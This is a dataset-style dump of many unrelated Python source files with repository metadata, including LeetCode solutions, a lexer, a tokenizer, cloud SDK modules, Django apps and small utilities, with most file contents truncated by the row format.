# Likes: 2752
# Dislikes: 175
# Total Accepted: 248.7K
# Total Submissions: 430.4K
# Testcase Example: '[5,3,6,2,4,null,7]\n9'
#
# G... | 88 | 0 | 0 | 626 | 0 | 0 | 0 | 0 | 44 |
a26837c48b8d0500a693fa629a875483a0ab8788 | 1,030 | py | Python | 674. Longest Continuous Increasing Subsequence.py | youhusky/Facebook_Prepare | 4045bcb652537711b3680b2aa17204ae73c6bde8 | [
"MIT"
] | 6 | 2017-10-30T05:35:46.000Z | 2020-12-15T06:51:52.000Z | 674. Longest Continuous Increasing Subsequence.py | youhusky/Facebook_Prepare | 4045bcb652537711b3680b2aa17204ae73c6bde8 | [
"MIT"
] | 1 | 2017-10-30T04:11:31.000Z | 2017-10-30T05:46:24.000Z | 674. Longest Continuous Increasing Subsequence.py | youhusky/Facebook_Prepare | 4045bcb652537711b3680b2aa17204ae73c6bde8 | [
"MIT"
] | 2 | 2020-09-03T07:14:02.000Z | 2021-05-21T19:19:57.000Z | # Given an unsorted array of integers, find the length of longest continuous increasing subsequence.
# Example 1:
# Input: [1,3,5,4,7]
# Output: 3
# Explanation: The longest continuous increasing subsequence is [1,3,5], its length is 3.
# Even though [1,3,5,7] is also an increasing subsequence, it's not a continuous ... | 33.225806 | 119 | 0.607767 | # Given an unsorted array of integers, find the length of longest continuous increasing subsequence.
# Example 1:
# Input: [1,3,5,4,7]
# Output: 3
# Explanation: The longest continuous increasing subsequence is [1,3,5], its length is 3.
# Even though [1,3,5,7] is also an increasing subsequence, it's not a continuous ... | 0 | 0 | 0 | 452 | 0 | 0 | 0 | 0 | 22 |
b621b340b3bf805ccbd5a5e482ec56cab024df3a | 3,428 | py | Python | lexer.py | gggfox/compiler_proyect | d6c1836a0c83777e58cdc6da2a54a504a8d5b633 | [
"MIT"
] | null | null | null | lexer.py | gggfox/compiler_proyect | d6c1836a0c83777e58cdc6da2a54a504a8d5b633 | [
"MIT"
] | null | null | null | lexer.py | gggfox/compiler_proyect | d6c1836a0c83777e58cdc6da2a54a504a8d5b633 | [
"MIT"
] | null | null | null | '''
#############################
# Gerardo Galan Garzafox #
# A00821196 #
# #
# alebrije_lexer.py #
# Created_at 2021-09-25 #
# #
#############################
'''
import sys
import ply.lex as lex
reserved = {
'program' : 'PROGRAM... | 18.73224 | 61 | 0.483664 | '''
#############################
# Gerardo Galan Garzafox #
# A00821196 #
# #
# alebrije_lexer.py #
# Created_at 2021-09-25 #
# #
#############################
'''
import sys
import ply.lex as lex
reserved = {
'program' : 'PROGRAM... | 0 | 0 | 0 | 0 | 0 | 95 | 0 | 0 | 23 |
3c07eb9eef1a936fa8dc25341e9b95d69849db4f | 17,241 | py | Python | otherlanguage/encoder.py | tanreinama/aMLP-japanese | ee16377c023d113d769645a3139e26093873628b | [
"MIT"
] | 5 | 2021-11-13T09:50:58.000Z | 2022-03-01T07:59:18.000Z | otherlanguage/encoder.py | tanreinama/aMLP-japanese | ee16377c023d113d769645a3139e26093873628b | [
"MIT"
] | 1 | 2022-02-03T23:44:26.000Z | 2022-02-09T03:56:39.000Z | otherlanguage/encoder.py | tanreinama/aMLP-japanese | ee16377c023d113d769645a3139e26093873628b | [
"MIT"
] | null | null | null | import numpy as np
import json
import os
if __name__=='__main__':
import argparse
import os
import pickle
from multiprocessing import Pool
parser = argparse.ArgumentParser()
parser.add_argument("--src_dir", help="source dir", required=True )
parser.add_argument("--dst_file", help="destnatio... | 44.321337 | 272 | 0.461574 | import numpy as np
import re
import json
import os
class SWEEncoder_wholeword:
def __init__(self, bpe, emoji):
self.bpe = bpe
self.swe = {}
for idx, wd in enumerate(self.bpe):
self.swe[wd] = idx
self.emoji = emoji
self.maxlen = np.max([len(w) for w in self.swe.ke... | 1,576 | 0 | 0 | 13,521 | 0 | 1,508 | 0 | -22 | 169 |
e2738087b399be494d8837b975acf1175c29954c | 400 | py | Python | setup.py | AlanCristhian/symbexpr | 2dae9990d0f28d428015c9644e140928357517cc | [
"MIT"
] | null | null | null | setup.py | AlanCristhian/symbexpr | 2dae9990d0f28d428015c9644e140928357517cc | [
"MIT"
] | null | null | null | setup.py | AlanCristhian/symbexpr | 2dae9990d0f28d428015c9644e140928357517cc | [
"MIT"
] | null | null | null | """Insall script."""
from setuptools import setup
setup(
name="symbexpr",
version="0.0.1a1",
py_modules=["symbexpr"],
zip_safe=True,
author="Alan Cristhian",
author_email="alan.cristh@gmail.com",
description="Systems of equalities, inequalities and constraints.",
license="MIT",
ke... | 22.222222 | 71 | 0.675 | """Insall script."""
from setuptools import setup
setup(
name="symbexpr",
version="0.0.1a1",
py_modules=["symbexpr"],
zip_safe=True,
author="Alan Cristhian",
author_email="alan.cristh@gmail.com",
description="Systems of equalities, inequalities and constraints.",
license="MIT",
ke... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
1ca19b47ad72b8b73290bd4f6a6cc00321ac9ce7 | 50,797 | py | Python | osh/cmd_parse.py | afunsten/oil | e52071e10a78157db1e4f0befc439a36ca1cbc01 | [
"Apache-2.0"
] | 1 | 2019-01-25T01:15:51.000Z | 2019-01-25T01:15:51.000Z | osh/cmd_parse.py | afunsten/oil | e52071e10a78157db1e4f0befc439a36ca1cbc01 | [
"Apache-2.0"
] | null | null | null | osh/cmd_parse.py | afunsten/oil | e52071e10a78157db1e4f0befc439a36ca1cbc01 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# Copyright 2016 Andy Chu. All rights reserved.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
"""
cmd_parse.py - Parse h... | 29.227273 | 82 | 0.647755 | #!/usr/bin/env python
# Copyright 2016 Andy Chu. All rights reserved.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
"""
cmd_parse.py - Parse h... | 0 | 0 | 0 | 40,540 | 0 | 1,119 | 0 | 12 | 91 |
ad4979c86f4b8879362215c1a922cce4b2191e12 | 622 | py | Python | provisional_test.py | lleene/pybooru | 72a539c94b8326478cf2491e1d954b80b709cda8 | [
"MIT"
] | 79 | 2015-02-04T12:32:03.000Z | 2022-03-22T09:17:15.000Z | provisional_test.py | lleene/pybooru | 72a539c94b8326478cf2491e1d954b80b709cda8 | [
"MIT"
] | 38 | 2016-05-18T19:20:24.000Z | 2022-03-30T20:02:08.000Z | provisional_test.py | lleene/pybooru | 72a539c94b8326478cf2491e1d954b80b709cda8 | [
"MIT"
] | 30 | 2015-02-04T13:09:19.000Z | 2022-03-21T15:52:50.000Z | # encoding: utf-8
from __future__ import print_function
from pybooru import Danbooru
from pybooru import Moebooru
konachan = Moebooru("konachan")
kona_tags = konachan.tag_list(order='date')
print(konachan.last_call)
kona_post = konachan.post_list()
print(konachan.last_call)
lolibooru = Moebooru("lolibooru")
kona_ta... | 23.923077 | 46 | 0.797428 | # encoding: utf-8
from __future__ import print_function
from pybooru import Danbooru
from pybooru import Moebooru
konachan = Moebooru("konachan")
kona_tags = konachan.tag_list(order='date')
print(konachan.last_call)
kona_post = konachan.post_list()
print(konachan.last_call)
lolibooru = Moebooru("lolibooru")
kona_ta... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
a8d18cd1b0879ac04d924bee0cdf72d87be5cdf6 | 124 | py | Python | 2020/examples-in-class-2020-10-29/input_example_birth_year.py | ati-ozgur/course-python | 38237d120043c07230658b56dc3aeb01c3364933 | [
"Apache-2.0"
] | 1 | 2021-02-04T16:59:11.000Z | 2021-02-04T16:59:11.000Z | 2020/examples-in-class-2020-10-29/input_example_birth_year.py | ati-ozgur/course-python | 38237d120043c07230658b56dc3aeb01c3364933 | [
"Apache-2.0"
] | null | null | null | 2020/examples-in-class-2020-10-29/input_example_birth_year.py | ati-ozgur/course-python | 38237d120043c07230658b56dc3aeb01c3364933 | [
"Apache-2.0"
] | 1 | 2019-10-30T14:37:48.000Z | 2019-10-30T14:37:48.000Z | str_year = input("what is your birth year:")
year = int(str_year)
age = 2020-year-1
print(f"hello, your age is {age}")
| 12.4 | 44 | 0.66129 | str_year = input("what is your birth year:")
year = int(str_year)
age = 2020-year-1
print(f"hello, your age is {age}")
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
a8da378b3730c38346625872662739f1fb28f6fa | 2,730 | py | Python | neurostore/auth.py | neurostuff/python-neurostore | 0859c92a58e7d468c2268cff663814e4251aec15 | [
"MIT"
] | null | null | null | neurostore/auth.py | neurostuff/python-neurostore | 0859c92a58e7d468c2268cff663814e4251aec15 | [
"MIT"
] | 2 | 2022-02-10T01:35:38.000Z | 2022-02-10T01:58:44.000Z | neurostore/auth.py | neurostuff/python-neurostore | 0859c92a58e7d468c2268cff663814e4251aec15 | [
"MIT"
] | null | null | null | import base64
from flask import Flask
global_dict = {
'received_callback': False,
'received_state': None,
'authorization_code': None,
'error_message': None
}
app = Flask(__name__)
def auth0_url_encode(byte_data):
"""
Safe encoding handles + and /, and also replace = with nothing
:pa... | 29.354839 | 104 | 0.682418 | import threading
import base64
import hashlib
import webbrowser
import secrets
from time import sleep
from werkzeug.serving import make_server
from flask import Flask, request
global_dict = {
'received_callback': False,
'received_state': None,
'authorization_code': None,
'error_message': None
}
a... | 0 | 634 | 0 | 460 | 0 | 948 | 0 | 6 | 247 |
b80acfb2cbd14eab86a240f780997c286516eb72 | 1,628 | py | Python | src/pas/plugins/ldap/setuphandlers.py | b-freitas/pas.plugins.ldap | 10c6e82bfd6704a5032594afa87df61a73d4c636 | [
"BSD-3-Clause"
] | 8 | 2016-07-01T21:28:18.000Z | 2020-04-03T07:14:29.000Z | src/pas/plugins/ldap/setuphandlers.py | b-freitas/pas.plugins.ldap | 10c6e82bfd6704a5032594afa87df61a73d4c636 | [
"BSD-3-Clause"
] | 94 | 2015-02-10T11:14:08.000Z | 2022-02-14T21:56:57.000Z | src/pas/plugins/ldap/setuphandlers.py | b-freitas/pas.plugins.ldap | 10c6e82bfd6704a5032594afa87df61a73d4c636 | [
"BSD-3-Clause"
] | 18 | 2015-08-17T14:06:36.000Z | 2022-03-01T02:29:36.000Z | # -*- coding: utf-8 -*-
TITLE = "LDAP plugin (pas.plugins.ldap)"
def remove_persistent_import_step(context):
"""Remove broken persistent import step.
profile/import_steps.xml defined an import step with id
"pas.plugins.ldap.setup" which pointed to
pas.plugins.ldap.setuphandlers.setupPlugin.
Thi... | 32.56 | 78 | 0.701474 | # -*- coding: utf-8 -*-
from pas.plugins.ldap.plugin import LDAPPlugin
from zope.component.hooks import getSite
TITLE = "LDAP plugin (pas.plugins.ldap)"
def remove_persistent_import_step(context):
"""Remove broken persistent import step.
profile/import_steps.xml defined an import step with id
"pas.plug... | 0 | 0 | 0 | 0 | 0 | 691 | 0 | 44 | 90 |
8189aa7203e800f8a1c5d1651c18c894affa0f7b | 3,744 | py | Python | lcm/pub/nfvi/vim/api/openstack/image.py | onap/vfc-nfvo-lcm | b7d4d015fa96a246d73d863092d3362afcedc284 | [
"Apache-2.0"
] | 4 | 2018-08-29T02:51:38.000Z | 2021-11-16T11:36:11.000Z | lcm/pub/nfvi/vim/api/openstack/image.py | onap/vfc-nfvo-lcm | b7d4d015fa96a246d73d863092d3362afcedc284 | [
"Apache-2.0"
] | null | null | null | lcm/pub/nfvi/vim/api/openstack/image.py | onap/vfc-nfvo-lcm | b7d4d015fa96a246d73d863092d3362afcedc284 | [
"Apache-2.0"
] | 1 | 2019-05-12T08:21:19.000Z | 2019-05-12T08:21:19.000Z | # Copyright 2016 ZTE Corporation.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in ... | 34.990654 | 112 | 0.662126 | # Copyright 2016 ZTE Corporation.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in ... | 0 | 0 | 0 | 727 | 0 | 2,050 | 0 | 52 | 271 |
69ae863712a666e0148aa5138903bddda6f729ce | 13,934 | py | Python | yamp/__init__.py | MaxHalford/yamp | 6cdcbedb089fb0fe977807de27835d55d774d1af | [
"MIT"
] | 9 | 2021-08-21T16:25:52.000Z | 2021-11-05T17:29:51.000Z | yamp/__init__.py | MaxHalford/yamp | 6cdcbedb089fb0fe977807de27835d55d774d1af | [
"MIT"
] | null | null | null | yamp/__init__.py | MaxHalford/yamp | 6cdcbedb089fb0fe977807de27835d55d774d1af | [
"MIT"
] | null | null | null | """This script is responsible for building the API reference. The API reference is located in
docs/api. The script scans through all the modules, classes, and functions. It processes
the __doc__ of each object and formats it so that MkDocs can process it in turn.
"""
import argparse
import functools
import inspect
imp... | 33.17619 | 100 | 0.551672 | """This script is responsible for building the API reference. The API reference is located in
docs/api. The script scans through all the modules, classes, and functions. It processes
the __doc__ of each object and formats it so that MkDocs can process it in turn.
"""
import argparse
import functools
import importlib
i... | 6 | 0 | 0 | 3,076 | 0 | 3,913 | 0 | -37 | 180 |
0c0584c26d480ad99ffc72964cfc768284862ef6 | 510 | py | Python | run_several.py | davidmalmstrom/neural_collaborative_filtering | d3d93100d990381f9ef1a10ec37b455b31d38de7 | [
"Apache-2.0"
] | null | null | null | run_several.py | davidmalmstrom/neural_collaborative_filtering | d3d93100d990381f9ef1a10ec37b455b31d38de7 | [
"Apache-2.0"
] | null | null | null | run_several.py | davidmalmstrom/neural_collaborative_filtering | d3d93100d990381f9ef1a10ec37b455b31d38de7 | [
"Apache-2.0"
] | null | null | null | # Script to run several runs after each other. The runs are specified by the run-configurations
# located in the folder runs/several_runs/
import sys
import os
sys.path.append('..')
import run_script
run_files = os.listdir("runs/several_runs/")
run_files.sort()
for run_file_name in run_files:
try:
run_... | 28.333333 | 96 | 0.692157 | # Script to run several runs after each other. The runs are specified by the run-configurations
# located in the folder runs/several_runs/
import sys
import os
sys.path.append('..')
import run_script
run_files = os.listdir("runs/several_runs/")
run_files.sort()
for run_file_name in run_files:
try:
run_... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
4a93d368e16d2a2855df80d717de7d6c6e8d7596 | 789 | py | Python | src/syft/core/common/storeable_object.py | dnabanita7/PySyft | ce2510e65f5bad382e88806bcde30fa38c3c76c4 | [
"Apache-2.0"
] | 2 | 2018-07-23T20:34:10.000Z | 2020-08-01T09:09:09.000Z | packages/syft/src/syft/core/common/storeable_object.py | Metrix1010/PySyft | 6477f64b63dc285059c3766deab3993653cead2e | [
"Apache-2.0"
] | 5 | 2020-09-11T05:47:12.000Z | 2020-10-13T08:36:17.000Z | packages/syft/src/syft/core/common/storeable_object.py | Metrix1010/PySyft | 6477f64b63dc285059c3766deab3993653cead2e | [
"Apache-2.0"
] | 1 | 2021-05-22T17:11:42.000Z | 2021-05-22T17:11:42.000Z | # stdlib
# syft relative
| 19.725 | 51 | 0.653992 | # stdlib
from typing import List
from typing import Optional
# syft relative
from .serde.serializable import Serializable
from .uid import UID
class AbstractStorableObject(Serializable):
data: object
id: UID
search_permissions: dict
@property
def icon(self) -> str:
return "🗂️"
@pr... | 7 | 376 | 0 | 243 | 0 | 0 | 0 | 30 | 111 |
ba644b5b04f381a01d7ff2350879bad2562214c3 | 19,384 | py | Python | sdk/python/pulumi_gcp/bigquery/data_transfer_config.py | dimpu47/pulumi-gcp | 38355de300a5768e11c49d344a8165ba0735deed | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_gcp/bigquery/data_transfer_config.py | dimpu47/pulumi-gcp | 38355de300a5768e11c49d344a8165ba0735deed | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_gcp/bigquery/data_transfer_config.py | dimpu47/pulumi-gcp | 38355de300a5768e11c49d344a8165ba0735deed | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import pulumi
from .. import _utilities, _tables
__all__ = ['DataTransferConfig']
| 56.023121 | 187 | 0.672255 | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Dict, List, Mapping, Optional, Tuple, Union
from .. import ... | 0 | 10,769 | 0 | 8,171 | 0 | 0 | 0 | 41 | 134 |
1383972698cf45b51067c65b9ab1a3a6664f2f26 | 435 | py | Python | src/ralph/ui/templatetags/di.py | vi4m/ralph | 2af767ee23d89be9e6cec0a537350a1ce8840bd1 | [
"Apache-2.0"
] | 1 | 2018-09-01T14:14:08.000Z | 2018-09-01T14:14:08.000Z | src/ralph/ui/templatetags/di.py | srikanth4372/sample | 127b5742ae464d42909a14d71e3c10c241ec3a23 | [
"Apache-2.0"
] | 1 | 2019-08-14T10:03:45.000Z | 2019-08-14T10:03:45.000Z | src/ralph/ui/templatetags/di.py | srikanth4372/sample | 127b5742ae464d42909a14d71e3c10c241ec3a23 | [
"Apache-2.0"
] | 1 | 2019-08-14T09:59:42.000Z | 2019-08-14T09:59:42.000Z | # -*- coding: utf-8 -*-
"""Tags for dependency injection."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from django import template
register = template.Library()
| 22.894737 | 54 | 0.774713 | # -*- coding: utf-8 -*-
"""Tags for dependency injection."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from django import template
from ralph.util.di import get_extra_data
register = template.Library()
@regi... | 0 | 98 | 0 | 0 | 0 | 0 | 0 | 19 | 46 |
ab3a14612ad0e1a79bdbfb12fbc3a9ccec664355 | 2,827 | py | Python | sdk/python/pulumi_azure_native/mixedreality/v20210301preview/list_remote_rendering_account_keys.py | sebtelko/pulumi-azure-native | 711ec021b5c73da05611c56c8a35adb0ce3244e4 | [
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_azure_native/mixedreality/v20210301preview/list_remote_rendering_account_keys.py | sebtelko/pulumi-azure-native | 711ec021b5c73da05611c56c8a35adb0ce3244e4 | [
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_azure_native/mixedreality/v20210301preview/list_remote_rendering_account_keys.py | sebtelko/pulumi-azure-native | 711ec021b5c73da05611c56c8a35adb0ce3244e4 | [
"Apache-2.0"
] | null | null | null | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import pulumi
import pulumi.runtime
from typing import Optional
from ... import _utilities
__all__ = [
'ListRemoteRenderingAccountKeysResult',
... | 35.78481 | 181 | 0.692961 | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from ... import _utilities
__... | 0 | 934 | 0 | 318 | 0 | 0 | 0 | 35 | 69 |
6f45b5dedd82dae3a3e46637a927226c8b7c8cfa | 2,081 | py | Python | gea/migrations/0008_auto_20210324_1808.py | quijot/gea-package | 1b75578cbf72bc1823e5190c30b2f47f6b4e4e8e | [
"MIT"
] | null | null | null | gea/migrations/0008_auto_20210324_1808.py | quijot/gea-package | 1b75578cbf72bc1823e5190c30b2f47f6b4e4e8e | [
"MIT"
] | 3 | 2020-02-11T21:26:49.000Z | 2021-01-26T17:14:17.000Z | gea/migrations/0008_auto_20210324_1808.py | quijot/gea-package | 1b75578cbf72bc1823e5190c30b2f47f6b4e4e8e | [
"MIT"
] | null | null | null | # Generated by Django 3.1.5 on 2021-03-24 21:08
| 33.031746 | 122 | 0.582412 | # Generated by Django 3.1.5 on 2021-03-24 21:08
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('gea', '0007_auto_20210324_1222'),
]
operations = [
migrations.RemoveField(
model_name='persona'... | 12 | 0 | 0 | 1,928 | 0 | 0 | 0 | 30 | 68 |
2bd6a02145154ea659db2ea27fe0a3202a37d8e1 | 2,303 | py | Python | app/core/admin.py | nguyenlinh171/recipe-app-api | 339feb3df6aed6d424a19ca0748a49cd6ed173be | [
"MIT"
] | null | null | null | app/core/admin.py | nguyenlinh171/recipe-app-api | 339feb3df6aed6d424a19ca0748a49cd6ed173be | [
"MIT"
] | null | null | null | app/core/admin.py | nguyenlinh171/recipe-app-api | 339feb3df6aed6d424a19ca0748a49cd6ed173be | [
"MIT"
] | null | null | null | from core import models
from django.contrib import admin
"""Need to import the default Django user admin, need to change some
of the class variables to support our custom user admin using email
instead of username"""
"""Import gettext function to convert strings in python to human
readable text, in this context, the s... | 42.648148 | 74 | 0.684325 | from core import models
from django.contrib import admin
from django.contrib.auth.admin import UserAdmin as BaseUserAdmin
"""Need to import the default Django user admin, need to change some
of the class variables to support our custom user admin using email
instead of username"""
from django.utils.translation import ... | 0 | 0 | 0 | 1,457 | 0 | 0 | 0 | 71 | 67 |
1c56cafe82e08f64b415f37d537e652b5bfed036 | 13,271 | py | Python | src/compas_slicer/pre_processing/preprocessing_utils/compound_target.py | Spiritdude/compas_slicer | 58dedfbebd123258506174453d5f73d18d745819 | [
"MIT"
] | 14 | 2021-01-02T10:48:15.000Z | 2022-03-18T17:18:31.000Z | src/compas_slicer/pre_processing/preprocessing_utils/compound_target.py | Spiritdude/compas_slicer | 58dedfbebd123258506174453d5f73d18d745819 | [
"MIT"
] | 34 | 2021-01-19T10:33:09.000Z | 2022-03-14T07:37:45.000Z | src/compas_slicer/pre_processing/preprocessing_utils/compound_target.py | compas-dev/compas_slicer | 58dedfbebd123258506174453d5f73d18d745819 | [
"MIT"
] | 9 | 2021-01-02T10:49:09.000Z | 2022-03-22T18:35:55.000Z | import math
import logging
logger = logging.getLogger('logger')
__all__ = ['CompoundTarget',
'blend_union_list',
'stairs_union_list',
'chamfer_union_list']
####################
# unions on lists
def blend_union_list(values, r):
""" Returns a smooth union of all the elements i... | 42.672026 | 131 | 0.644789 | import numpy as np
import math
from compas.datastructures import Mesh
import compas_slicer.utilities as utils
import logging
import networkx as nx
from compas_slicer.slicers.slice_utilities import create_graph_from_mesh_vkeys
from compas_slicer.pre_processing.preprocessing_utils.geodesics import get_igl_EXACT_geodesic_... | 0 | 165 | 0 | 11,086 | 0 | 159 | 0 | 209 | 201 |
5df8cfab48c8a542b687ba3e02010cc5e9fd9c28 | 1,134 | py | Python | new_app/models.py | 2141040025/Aplicacion-CRUD-Django | e760e7e02db7a2a4841d899af0e199db60d804b7 | [
"MIT"
] | null | null | null | new_app/models.py | 2141040025/Aplicacion-CRUD-Django | e760e7e02db7a2a4841d899af0e199db60d804b7 | [
"MIT"
] | null | null | null | new_app/models.py | 2141040025/Aplicacion-CRUD-Django | e760e7e02db7a2a4841d899af0e199db60d804b7 | [
"MIT"
] | null | null | null | #----------------------------------
# Models / new_app
#----------------------------------
#-------------------------------------------------------------------------
#-------------------------------------------------------------------------
#-----------------------------------------------------------------------... | 28.35 | 74 | 0.561728 | #----------------------------------
# Models / new_app
#----------------------------------
from django.db import models
#-------------------------------------------------------------------------
class Profesor(models.Model):
departamento = models.ForeignKey('Departamento')
nombre = models.CharField(max_length=... | 0 | 0 | 0 | 713 | 0 | 0 | 0 | 7 | 92 |
0a04442bce0b91eab5c47f08077b28c7f389a3b9 | 1,152 | py | Python | mars/optimization/logical/chunk/core.py | wjsi/mars | a69fb19edfe748d4393b90ff2c4941a76c084596 | [
"Apache-2.0"
] | 1 | 2022-02-02T03:03:48.000Z | 2022-02-02T03:03:48.000Z | mars/optimization/logical/chunk/core.py | wjsi/mars | a69fb19edfe748d4393b90ff2c4941a76c084596 | [
"Apache-2.0"
] | null | null | null | mars/optimization/logical/chunk/core.py | wjsi/mars | a69fb19edfe748d4393b90ff2c4941a76c084596 | [
"Apache-2.0"
] | null | null | null | # Copyright 1999-2021 Alibaba Group Holding Ltd.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or a... | 30.315789 | 74 | 0.758681 | # Copyright 1999-2021 Alibaba Group Holding Ltd.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or a... | 0 | 0 | 0 | 50 | 0 | 288 | 0 | 77 | 137 |
55a1c2e8e33a01773c12f7d7af11c55f7b8e5f83 | 2,065 | py | Python | caterpillar_log.py | redrose2100/caterpillar_log | c2782c4836cd817e58a9a3ff1548067453604986 | [
"MulanPSL-1.0"
] | 1 | 2021-12-02T05:34:43.000Z | 2021-12-02T05:34:43.000Z | caterpillar_log.py | redrose2100/caterpillar_log | c2782c4836cd817e58a9a3ff1548067453604986 | [
"MulanPSL-1.0"
] | null | null | null | caterpillar_log.py | redrose2100/caterpillar_log | c2782c4836cd817e58a9a3ff1548067453604986 | [
"MulanPSL-1.0"
] | null | null | null |
logger = Log("caterpillar_log")
| 42.142857 | 108 | 0.651332 | import logging
import platform
from pathlib import Path
class Log(object):
def __init__(self, name="logger", console_level=logging.INFO, file_level=logging.INFO,
log_fmt="%(asctime)s | %(levelname)s | %(pathname)s:%(lineno)s | %(message)s", log_dir=""):
"""
Log 类初始化函数
:pa... | 153 | 0 | 0 | 1,900 | 0 | 0 | 0 | -10 | 89 |
fd38435ffe0a6ffb640283b85de483604576f371 | 613 | py | Python | labs/sort04/sorted04.py | queenskid/MyCode | 20756ebd1826ba7cb1cf9b06374e6aa568996bd1 | [
"MIT"
] | 3 | 2018-05-21T18:16:47.000Z | 2018-05-23T16:45:04.000Z | labs/sort04/sorted04.py | queenskid/MyCode | 20756ebd1826ba7cb1cf9b06374e6aa568996bd1 | [
"MIT"
] | null | null | null | labs/sort04/sorted04.py | queenskid/MyCode | 20756ebd1826ba7cb1cf9b06374e6aa568996bd1 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
us_invasion = [{'ip':'10.10.1.2', 'un':'john', 'pw':'allstar'}, {'ip':'10.10.1.3', 'un':'paul', 'pw':'iils20s3'}, {'ip':'10.10.1.4', 'un':'george', 'pw':'hunkydoryzory'}, {'ip':'10.10.1.5', 'un':'stuart', 'pw':'alta3'}, {'ip':'10.10.1.6', 'un':'pete', 'pw':'a8dd827z3'}]
listbyusername = sorted(... | 40.866667 | 270 | 0.636215 | #!/usr/bin/env python3
us_invasion = [{'ip':'10.10.1.2', 'un':'john', 'pw':'allstar'}, {'ip':'10.10.1.3', 'un':'paul', 'pw':'iils20s3'}, {'ip':'10.10.1.4', 'un':'george', 'pw':'hunkydoryzory'}, {'ip':'10.10.1.5', 'un':'stuart', 'pw':'alta3'}, {'ip':'10.10.1.6', 'un':'pete', 'pw':'a8dd827z3'}]
def byUserName(x):
r... | 0 | 0 | 0 | 0 | 0 | 16 | 0 | 0 | 23 |
31053edd052434562fd40c778b05bed6ad5788bd | 1,068 | py | Python | Python3/362.design-hit-counter.py | 610yilingliu/leetcode | 30d071b3685c2131bd3462ba77c6c05114f3f227 | [
"MIT"
] | null | null | null | Python3/362.design-hit-counter.py | 610yilingliu/leetcode | 30d071b3685c2131bd3462ba77c6c05114f3f227 | [
"MIT"
] | null | null | null | Python3/362.design-hit-counter.py | 610yilingliu/leetcode | 30d071b3685c2131bd3462ba77c6c05114f3f227 | [
"MIT"
] | null | null | null | #
# @lc app=leetcode id=362 lang=python3
#
# [362] Design Hit Counter
#
# @lc code=start
# Your HitCounter object will be instantiated and called as such:
# obj = HitCounter()
# ls = [[1],[2],[3],[300],[301]]
# for param in ls:
# obj.hit(param[0])
# print(obj.q)
# # param_2 = obj.getHits(timestamp)
# @lc cod... | 23.733333 | 74 | 0.568352 | #
# @lc app=leetcode id=362 lang=python3
#
# [362] Design Hit Counter
#
import collections
# @lc code=start
class HitCounter:
def __init__(self):
"""
Initialize your data structure here.
"""
self.data = collections.deque()
def hit(self, timestamp: 'int') -> 'N... | 0 | 0 | 0 | 700 | 0 | 0 | 0 | -3 | 44 |
ded2c09c9e6d9c88f165bbf17b8eb3d06f047025 | 1,080 | py | Python | tkinter/thread-is_alive/main.py | whitmans-max/python-examples | 881a8f23f0eebc76816a0078e19951893f0daaaa | [
"MIT"
] | 140 | 2017-02-21T22:49:04.000Z | 2022-03-22T17:51:58.000Z | tkinter/thread-is_alive/main.py | whitmans-max/python-examples | 881a8f23f0eebc76816a0078e19951893f0daaaa | [
"MIT"
] | 5 | 2017-12-02T19:55:00.000Z | 2021-09-22T23:18:39.000Z | tkinter/thread-is_alive/main.py | whitmans-max/python-examples | 881a8f23f0eebc76816a0078e19951893f0daaaa | [
"MIT"
] | 79 | 2017-01-25T10:53:33.000Z | 2022-03-11T16:13:57.000Z |
# date: 2019.07.09
# https://stackoverflow.com/questions/56951383/tkinter-disable-buttons-while-thread-is-running/56953613#56953613
import tkinter as tk
#-----------------------------------------------------
# counter displayed when thread is running
counter = 0
root = tk.Tk()
l = tk.Label(root)
l... | 19.636364 | 112 | 0.585185 |
# date: 2019.07.09
# https://stackoverflow.com/questions/56951383/tkinter-disable-buttons-while-thread-is-running/56953613#56953613
import tkinter as tk
from threading import Thread
import time
def long_running_function():
print('start sleep')
time.sleep(3)
print('end sleep')
def start_thread():
